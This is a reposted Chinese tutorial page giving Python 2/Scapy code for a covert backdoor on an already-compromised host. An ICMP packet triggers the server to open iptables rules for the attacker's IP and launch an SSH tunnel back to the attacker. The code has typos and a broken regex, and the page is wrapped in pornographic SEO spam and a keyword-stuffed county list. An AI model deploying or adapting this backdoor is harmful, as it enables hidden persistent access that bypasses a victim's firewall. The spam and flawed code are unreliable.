国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > Python > 正文

用Python編寫一個簡單的CS架構后門的方法

2020-02-15 23:45:11
字體:
來源:轉載
供稿:網友

0x00:事先說明

你已經攻陷了對方主機且獲得了最高權限。 對方的本地防火墻會丟棄所有的外來數據包。 這個后門不會僅綁定在某一個端口上。 這段代碼很容易寫,畢竟是 Python(準確說是 Python 2.x)。

0x01:工作原理

如你所見,客戶端將偽造具有 ICMP 負載的特定數據包,另一方面在服務端,也就是我們的被攻擊主機,將會接受我們發送的數據包,即使它開啟了本地的防火墻(丟棄所有外來數據包)。關鍵在于無線網卡的監聽模式,它無需和 AP 建立連接卻可以和接受所有流經空氣的數據包。

我們會用到一個有用的第三方包 Scapy。這是它的官方文檔。如果你是第一次使用,不妨參考這篇文章,也許會有幫助。

0x02:客戶端代碼

'''客戶端代碼。將服務端的 IP 地址、客戶端的 IP 地址、客戶端的連接端口,以及連接所需密碼作為程序輸入。如果成功返回一個交互式后門,在代碼硬編碼好的位置寫入日志文件信息。'''#! /usr/bin/env pythonimport loggingimport socketfrom scapy.all import *import osimport os.pathimport sysimport timelogging.getLongger("scapy.runtime").setLevel(loggin.ERROR)file_result = "/tmp/done"if len(sys.argv) != 5: print "usage : " + " IP_SERVER " + " CLIENT_IP " + " PORT_SSH_CLIENT " + “ PASSWORD_CLIENT ” sys.exit(1)server = sys.argv[1]if os.path.isfile(file_result): os.remove(file_result)load = sys.argv[2] + "|" + sys.argv[3] + "|" + sys.argv[4]pingr = IP(dst = server) / ICMP() / loadsend(pingr, verbose = 0) # send() 函數工作在協議棧的第三層(網絡層)

0x04:服務端代碼

服務端代碼分為兩塊:1. 主要腳本部分、2. ssh 隧道部分。

'''服務端代碼之主要腳本部分。這個腳本會監聽 ICMP 數據包并從句法上分析其攜帶的數據部分(客戶端 IP 地址、客戶端連接端口、連接所需密碼)。接著在本地打開兩個新的防火墻規則。最后調用另一個 expect 腳本,以建立和客戶端之間穩定的 ssh 連接。'''#! /usr/bin/env pythonimport loggingimport socketfrom scapy.all import *import reimport subprocess # py2.4 新增模塊,允許用戶編寫代碼生成新進程,連接到它們的 input/output/error 管道,并獲取它們的返回/狀態碼。logging.getLogger("scapy.runtime").setLevel(logging.ERROR)def icmp_monitor_callback(pkt): reg = re.compile("(.*)/|(.*)/|(.*)") g = reg.match(pkt.load) if g: subprocess.Popen(["/sbin/iptables", "-I", "INPUT", "1","-s",g.group(1),'-j','ACCEPT']) subprocess.Popen(["/sbin/iptables", "-I", "OUTPUT", "1","-d",g.group(1),'-j','ACCEPT']) p=subprocess.call(["/root/sshtunnel.sh", g.group(1),g.group(2),g.group(3)]) returnsniff(prn=icmp_monitor_callback, filter="icmp", store=0) # scapy.sniff() 函數會嗅探來自空氣中的數據包,prn 參數用來指定回調函數,每當符合 filter 的報文被探測到時,就會執行回調函數。有關該函數的詳細信息,可以參考這篇博客:https://thepacketgeek.com/scapy-sniffing-with-custom-actions-part-1/            
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 永丰县| 诏安县| 思茅市| 太保市| 扬州市| 万盛区| 临泉县| 昔阳县| 石渠县| 延边| 罗山县| 依安县| 行唐县| 清镇市| 卢龙县| 云龙县| 武隆县| 鄂州市| 青田县| 蒙阴县| 灵寿县| 霍山县| 贵港市| 新绛县| 香河县| 尉犁县| 张家港市| 景谷| 兴化市| 平山县| 贞丰县| 洛宁县| 衡南县| 郑州市| 平顶山市| 荃湾区| 高邮市| 伊川县| 应城市| 满城县| 肃宁县|